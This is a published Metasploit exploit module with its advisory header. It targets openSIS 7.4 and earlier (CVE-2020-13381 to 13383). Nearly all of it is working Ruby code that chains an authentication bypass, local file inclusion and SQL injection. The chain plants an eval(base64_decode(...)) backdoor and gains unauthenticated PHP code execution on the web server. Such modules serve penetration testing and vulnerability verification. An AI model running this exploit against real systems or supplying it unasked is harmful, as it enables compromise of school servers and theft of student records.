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openSIS 7.4 Unauthenticated PHP Code Execution

openSIS 7.4 Unauthenticated PHP Code Execution
Posted Jul 6, 2020
Authored by EgiX | Site metasploit.com

This Metasploit module exploits multiple vulnerabilities in openSIS 7.4 and prior versions which could be abused by unauthenticated attackers to execute arbitrary PHP code with the permissions of the webserver. The exploit chain abuses an incorrect access control issue which allows access to scripts which should require the user to be authenticated, and a local file inclusion to reach a SQL injection vulnerability which results in execution of arbitrary PHP code due to an unsafe use of the eval() function.

tags | exploit, arbitrary, local, php, vulnerability, sql injection, file inclusion
advisories | CVE-2020-13381, CVE-2020-13382, CVE-2020-13383
SHA-256 | 942c0ce311ce709dd7c1790955789b1f88040cee422935d166bdf0e150147703

openSIS 7.4 Unauthenticated PHP Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'openSIS Unauthenticated PHP Code Execution',
'Description' => %q{
This module exploits multiple vulnerabilities in openSIS 7.4 and prior versions
which could be abused by unauthenticated attackers to execute arbitrary PHP code
with the permissions of the webserver. The exploit chain abuses an incorrect access
control issue which allows access to scripts which should require the user to be
authenticated, and a Local File Inclusion to reach a SQL injection vulnerability which
results in execution of arbitrary PHP code due to an unsafe use of the eval() function.
},
'Author' => 'EgiX',
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://karmainsecurity.com/KIS-2020-06'],
['URL', 'http://karmainsecurity.com/KIS-2020-07'],
['URL', 'http://karmainsecurity.com/KIS-2020-08'],
['CVE', '2020-13381'],
['CVE', '2020-13382'],
['CVE', '2020-13383']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['openSIS <= 7.4', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 30 2020'
))

register_options(
[
OptString.new('TARGETURI', [true, "The base path to the web application", "/"])
])
end

def exec_php(php_code)
print_status('Retrieving session cookie')

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})

unless res
fail_with(Failure::Unreachable, 'Connection failed')
end

session = res.get_cookies

unless res.code == 200 && res.body && session =~ /PHPSESSID=([A-Za-z0-9]*);/
fail_with(Failure::NoAccess, 'Failed to retrieve session cookie')
end

random_title = rand_text_alpha(10)
random_param = rand_text_alpha(10)
php_cod = "];eval(base64_decode($_POST[#{random_param}]));die;//\\"
sql_enc = php_cod.each_byte.map{ |b| b.to_s(16) }.join
sql_inj = "' UNION SELECT 0x#{sql_enc}#"

print_status('Injecting malicious SQL into session variable')

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'CpSessionSet.php/index.php'),
'cookie' => session,
'vars_post' => {'title' => random_title, 'course_id' => sql_inj}
})

unless res && res.code == 200 && res.body =~ /#{random_title}/
fail_with(Failure::NoAccess, 'Failed to call CpSessionSet.php')
end

print_status("Calling ForExport.php to set $_SESSION['_REQUEST_vars']")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ForExport.php/index.php'),
'cookie' => session,
'vars_post' => {
'modname' => 'scheduling/MassSchedule.php',
'modfunc' => 'save',
'day_start' => rand_text_numeric(1, bad='0'),
'month_start' => rand_text_numeric(1, bad='0'),
'year_start' => rand_text_numeric(4, bad='0')
}
})

unless res && res.code == 200 && res.body =~ /Error in User/
fail_with(Failure::NoAccess, 'Failed to call ForExport.php')
end

print_status('Executing PHP code by calling Bottom.php')

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'Bottom.php/index.php'),
'cookie' => session,
'vars_get' => {'modname' => 'scheduling/MassSchedule.php', 'modfunc' => 'print'},
'vars_post' => {random_param => Rex::Text.encode_base64(php_code)}
}, 1)

res
end

def check
flag = rand_text_alpha(20..30)
res = exec_php("print '#{flag}';")

if res && res.code == 200 && res.body =~ /#{flag}/
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Safe
end

def exploit
exec_php(payload.encoded)
end
end
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